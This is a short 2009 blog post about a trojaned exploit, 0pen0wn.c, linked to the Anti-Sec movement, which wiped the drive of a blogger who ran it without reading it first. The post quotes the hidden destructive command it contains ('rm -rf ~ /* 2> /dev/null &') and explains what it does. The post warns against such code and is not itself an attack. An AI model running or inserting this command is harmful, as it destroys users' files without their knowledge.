Posted by merc in Reverse Engineering
on Jul 18th, 2009 | 0 comments
xyberpix from the SecuriTeam blog posted an entry this week about a trojaned exploit that was provided by a supporter of the Anti-Sec movement. The blog entry in question can be found here: SecuriTeam Blogs » 0pen0wn.c = Nasty. xyberpix didnt really care about what he was running and didnt get a full understanding before running the code. Turns out that the code does a “rm -rf ~ /* 2> /dev/null &” which deletes everything from the users home directory followed by the whole hard drive and redirects any errors to the void (/dev/null). All this is happening in the background...